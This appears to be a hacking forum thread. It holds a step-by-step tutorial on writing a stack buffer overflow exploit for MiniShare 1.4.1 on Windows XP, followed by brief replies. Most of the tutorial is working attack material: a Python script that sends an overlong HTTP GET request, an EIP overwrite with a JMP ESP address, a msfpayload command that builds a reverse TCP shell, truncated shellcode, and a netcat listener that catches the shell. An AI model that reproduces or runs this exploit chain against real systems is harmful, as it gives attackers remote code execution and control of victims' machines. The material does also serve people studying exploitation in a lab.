[Daaksin]

If this isn't meant to be in this section, I apologise dearly!

=+Introduction+=

Welcome Black Hats, White hats and everyone in between. I will be writing on a topic of which I’m quite experienced in. It’s one thing to use and understand a big exploit framework like Metasploit. It’s another thing though, to actually understand and have the ability to create your own exploits. In this tutorial, we will not be using Metasploit except in three cases; I will get to this later. You can write an exploit in any programming language, but my favourite by far, is Python. For this tutorial, you’ll need a basic understanding of Python and its networking. I will not worry about copy and pasting for this tutorial, but be mindful a lot of things I do can differ for you. You’ll also need to know how machines work, and how they communicate. As I won’t be explaining everything in deep detail, instead I’ll provide Wikipedia articles on the subject.

Key:
*NoTe: Pay attention to these!
If I do this, there is an important tip you should read.

=+Understanding+=

We will be focusing on Buffer Overflow exploits, which will affect a program’s stack (Article). Imagine you have a bucket with a large filter at the bottom, the bucket and filter is the Stack, data is put into the stack and is processed. Now what happens if we pour a bathtub into our bucket? It will overflow, thus simulating a Buffer Overflow. At the moment a Buffer Overflow occurs, the program you are testing it on may simply crash, with an unexpected error report (Don’t Send/Send). This in itself may be classified as a DoS Buffer Overflow or Denial of Service Buffer Overflow. We won’t be doing this, we will be putting our overflows to good use.

=+Shellcode+=

Shellcode is what will execute at the moment of our Buffer Overflow. This is a small set of code usually in machine code (asm). It derives its name from its most used action, which is to open a new hidden case of CMD and bind it to a port, or connects back to the hacker (Article). For this tutorial, we will be using a reverse connection payload.


=+Setting Up+=

Now, let's set up or lab.
What you will need:

1x Windows XP/2000 SP<Any> (Victim)
*Note: Be mindful that you can develop this for a Vista and up PC, however everytime the computer reboots, your exploit won't work (I won't be explaining why not, but as a short description, a feature called ASLR randomizes addresses everytime the PC boots).

On the Windows PC (Victim), you should have these programs installed:
Minishare 1.4.1
OllyDBG

1x Linux (Back|Track 5 R3 Suggested)
If you have Back|Track 5 R3, you will already have all the tools we need. If not, you will need:
pattern_create.rb (metasploit script)
pattern_offset.rb (metasploit script)
Python
Netcat
*Note: You can run both of these operating systems on the same PC under virtual machines

Now, boot both PCs. Take note of both their LAN IP Addresses and write them down.
My setup:
Victim PC - Windows XP SP3 (10.1.1.12)
Attacker - Back|Track 5 R3 (10.1.1.16)

We have one last thing to set up. After you have installed Minishare 1.4.1 on your XP machine, navigate to C:\Program Files\MiniShare. Open the file called "minishare.ini", inside you will find a "port" option. Personally, I've changed mine to 5555, you may choose to leave it at 80.


=+Beginning the Attack+=

Spoiler:

Now, go to your OllyDBG folder and start it up. Go to the top left of the program and click File -> Open. Now, navigate to minishare.exe and open it.
It should look something like this: (Without the coloured circles)


Top right circle:
Registers, we will be focusing mainly on the EIP register.
Bottom right circle:
The status of the program (it should be paused for now)
Top left circle:
Addresses/modules, we will be using this later.

Go ahead and press F9 on your keyboard to run the program (let it execute normally), Minishare should start up. Switch over to your Linux machine. We will now cause a buffer overflow. We can skip fuzzing, because I can tell you right now the command that causes a crash is just an unusually long GET HTTP request. Here it is:

Code:

"GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n"

*Note: there is a space after GET and a space before HTTP.
\x41 is the ASCII code for A. So, if I were to do this: \x41\x41\x41\x41, that means: AAAA.

I will be using the VIM command in Back|Track, if you want to as well, read this tutorial on it.

So, open up a new .py file. Either through vim or just text editor on your Linux box. Name it minishare_bof.py.

Let's start adding some code.

Code:

#!/usr/bin/python #Declare this file as Python import socket _tarAddress = "10.1.1.12" _tarPort = 5555 # Init sockets buffer= "GET " + "\x41" * 2220 + " HTTP/1.1\r\n\r\n" # Create our buffer print("Init sockets...") s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Create socket print("Connecting to target...") s.connect((_tarAddress,_tarPort)) # Connect to the target IP and Port print("Sending buffer...") s.send(buffer) # Send our malformed command print("Operation done. Closing...") s.close() # Close the socket

After you have written this into your file, save it and close. Go into your Terminal, navigate to the folder it is in and type: "chmod +x minishare_bof.py" to make the .py file an executable. You may then run it with this bash command: "./minishare_bof.py". It will then send our buffer. Switch back to the victim box, and you will see that in OllyDBG, the application has paused again. If you look at the bottom left of the debugging window, you will see it is complaining about an error executing this: \x41\x41\x41\x41. This means that the EIP (Extended Instruction Pointer) has been overwritten with four As. This is what we want! Now, we want to find the exact four bytes of which get overwritten with As so we can then change this to a JMP ESP address and execute shellcode. To do this, we will be using a simple Metasploit script. Go back to your Terminal on your attacking PC and punch in this:

Code:

cd /opt/metasploit/msf3/tools/

*Note: This is the path to the script on the most up to date version

Now, to find out which four bytes represent the EIP, we must overwrite it with an identifiable code, so that we can determine which four bytes it is. Punch in:

Code:

./pattern_create.rb 2220

The script will generate something like this:
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9....SNIP....4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9

Of course, I have taken a large chunk out of it for length purposes. Now, time to rebuild our buffer. Your Python code should now look like this:

Code:

#!/usr/bin/python #Declare this file as Python import socket _tarAddress = "10.1.1.12" _tarPort = 5555 # Init sockets buffer= "GET " buffer+="Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9....SNIP....4Ca5Ca6Ca7Ca8Ca9Cb0Cb1Cb2Cb3Cb4Cb5Cb6Cb7Cb8Cb9Cc0Cc1Cc2Cc3Cc4Cc5Cc6Cc7Cc8Cc9Cd0Cd1Cd2Cd3Cd4Cd5Cd6Cd7Cd8Cd9Ce0Ce1Ce2Ce3Cu9Cv0Cv1Cv2Cv3Cv4Cv5Cv6Cv7Cv8Cv9" buffer+=" HTTP/1.1\r\n\r\n" # Create our buffer print("Init sockets...") s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Create socket print("Connecting to target...") s.connect((_tarAddress,_tarPort)) # Connect to the target IP and Port print("Sending buffer...") s.send(buffer) # Send our malformed command print("Operation done. Closing...") s.close() # Close the socket

Go back into OllyDBG and restart Minishare (Click on the rewind button at the top left). Hit F9 to run it. Now change back to Linux box and resend the buffer. So, check this out - when the buffer gets to your victim PC, the program will crash and the register (EIP) will look like this:


That's good. Now, we must find out the location before those bytes, to do this, go back into your Terminal which is cd'd into /Tools/ and type:

Code:

./pattern_offset.rb 36684335

It should put out something like:
1787
*Note: Yours doesn't have to be the same as mine.

Go back to your Python code and edit it to something like this:

Code:

#!/usr/bin/python #Declare this file as Python import socket _tarAddress = "10.1.1.12" _tarPort = 5555 # Init sockets buffer= "GET " buffer+="\x42" * 1787 # Amount of bytes before our overwrite (Character is B) buffer+="\x41\x41\x41\x41" # Four As to test we have the right bytes buffer+=" HTTP/1.1\r\n\r\n" # Create our buffer print("Init sockets...") s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Create socket print("Connecting to target...") s.connect((_tarAddress,_tarPort)) # Connect to the target IP and Port print("Sending buffer...") s.send(buffer) # Send our malformed command print("Operation done. Closing...") s.close() # Close the socket

Now restart Minishare and run it. Switch back to the Linux box and send the exploit. The program should crash as usual and the EIP should display 41414141 meaning that the overwrite contains those four bytes we focused on.

=+Injecting Shellcode+=

Spoiler:

If you opened Minishare without OllyDBG and sent the exploit right now, you would have a DoS Buffer Overflow. The program will crash. This is really useless unless the DoS crashes the whole PC as well. We need something better. Before we can get to that though, let's work on finding the right JMP ESP address to house our shellcode. Restart Minishare (but don't run it) in OllyDBG and follow me.

Right click in the Memory Dump (top left window) and go down to View. Now choose a module. I prefer to use module USER32 or SHELL32. For this tutorial, I'll be using USER32. So click on USER32 in View. Now right click the memory dump again and go to "Search For" -> "Command". Type in "JMP ESP" and hit enter. Now the address that is shown in the top left window is the address we will be using. Write this down. Here's mine:

*Note: Again, yours doesn't have to look exactly like mine, especially if you used another module!

Now, we'll have to arrange this address into little endian order. Which means the least significant byte first. You can use my method of turning addresses into little endian!

Code:

7E429353 // Original address 7E 42 93 53 // Every two bytes, put a space 53 93 42 7E // Rearrange.

Now, to test we have the right JMP ESP address, head into OllyDBG and click on the address. Now, hit F2 to add a breakpoint. A breakpoint will pause the execution of the program when it is executed. So, if our exploit works, and our exploit does jump to this address, it's working! Go back to your Linux box and then into the Python file. Edit the file to house your rearranged address, like so:

Code:

#!/usr/bin/python #Declare this file as Python import socket _tarAddress = "10.1.1.12" _tarPort = 5555 # Init sockets buffer= "GET " buffer+="\x42" * 1787 # Amount of bytes before our overwrite (Character is B) buffer+="\x53\x93\x42\x7E" # Our little endian address buffer+=" HTTP/1.1\r\n\r\n" # Create our buffer print("Init sockets...") s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Create socket print("Connecting to target...") s.connect((_tarAddress,_tarPort)) # Connect to the target IP and Port print("Sending buffer...") s.send(buffer) # Send our malformed command print("Operation done. Closing...") s.close() # Close the socket

Now, if you haven't already, hit F9 on your OllyDBG window to run Minishare, now switch to Linux again and resend the buffer. Once the buffer reaches the machine, it should pause on your address! Success! If it did not, go back and ensure your addresses are right!

Now, onto the actual Shellcode! Head into a new Terminal and create a reverse connection shell using this command:

Code:

msfpayload windows/shell_reverse_tcp LHOST=10.1.1.16 LPORT=443 R | msfencode -a x86 -b '\x00\x0a\x0d' -t c

This command creates a new reverse_tcp payload with the LAN address of the attacker PC (10.1.1.16) and the port we will listen on (443, but you can change it). We also want to get rid of any badchars that will stop our payload from working, so add that -b option! Hit enter, after a while, it should generate a ton of machine code. Now, change your exploit. Please note that I have added some NOPs before our shellcode is to be executed. These are No Operation characters that do nothing, but they do create almost like a slide for your shellcode to go down toward the target!

Code:

#!/usr/bin/python #Declare this file as Python import socket _tarAddress = "10.1.1.12" _tarPort = 5555 # Init sockets buffer= "GET " buffer+="\x90" * 1787 # Amount of bytes before our overwrite (Character is B) buffer+="\x53\x93\x42\x7E" # Our little endian address (Overwrite) buffer+="\x90" * 16 # NOP Slide buffer+=("\xd9\xf7\xd9\x74\x24\xf4\x5f\x29\xc9\xb1\x4f\xb8\xa9\xa9\x74" "\xdd\x31\x47\x19\x03\x47\x19\x83\xc7\x04\x4b\x5c\x88\x35\x02" "\x9f\x7...SNIP...3e\x09\xe2\xab" "\xd6\xd4\x77\xee\xba\xe6\xa2\x2d\xc3\x64\x46\xce\x30\x74\x23" "\xcb\x7d\x32\xd8\xa1\xee\xd7\xde\x16\x0e\xf2") # Our shellcode (I cut a chunk out of mine) buffer+=" HTTP/1.1\r\n\r\n" # Create our buffer print("Init sockets...") s=socket.socket(socket.AF_INET,socket.SOCK_STREAM) # Create socket print("Connecting to target...") s.connect((_tarAddress,_tarPort)) # Connect to the target IP and Port print("Sending buffer...") s.send(buffer) # Send our malformed command print("Operation done. Closing...") s.close() # Close the socket

Restart Minishare, find your JMP ESP address again and add a breakpoint to it. Now, hit F9 to run the program, switch to your Linux box and run the exploit. OllyDBG should pause at the breakpoint you set. If you press F7, you can see a bunch of NOPs, this is the 16 NOPs we added in as a small NOP slide before your shellcode. Congratulations. We can now achieve a shell by closing OllyDBG and opening up Minishare 1.4.1 without a debugger. Go to your linux box, but open a new tab in Terminal. Type:

Code:

nc -nvvlp 443

To listen on port 443 for any connections. After you've done this, resend the exploit. You should have something that looks like this:

=+Conclusion+=
I hope you enjoyed the tutorial and that you found it enriching. I'm glad to share this knowledge with anyone who will find it useful. The next tutorial I release will probably be on Corrupting the Heap, but that's not for a while. If you have any comments/suggestions/questions, post below. If you need personal help, please PM me.

-Daaksin

[w00t]

What modern system lets you execute the stack?

[Unmasked]

Oh my god look a tutorial that isn't completely skiddy! lol OP good shit, it's old as hell and doesn't work on most machines anymore but it's still good content.

[Daaksin]

Oh my god look a tutorial that isn't completely skiddy! lol OP good shit, it's old as hell and doesn't work on most machines anymore but it's still good content.

Oh no! This method works! Although, it is much harder to actually find a target nowadays... Buffer overflows will ALWAYS work on XP and below. Above that, well - you have to deal with ASLR, and although there are methods to solving this issue, it takes a lot of time.

Thanks for your reply!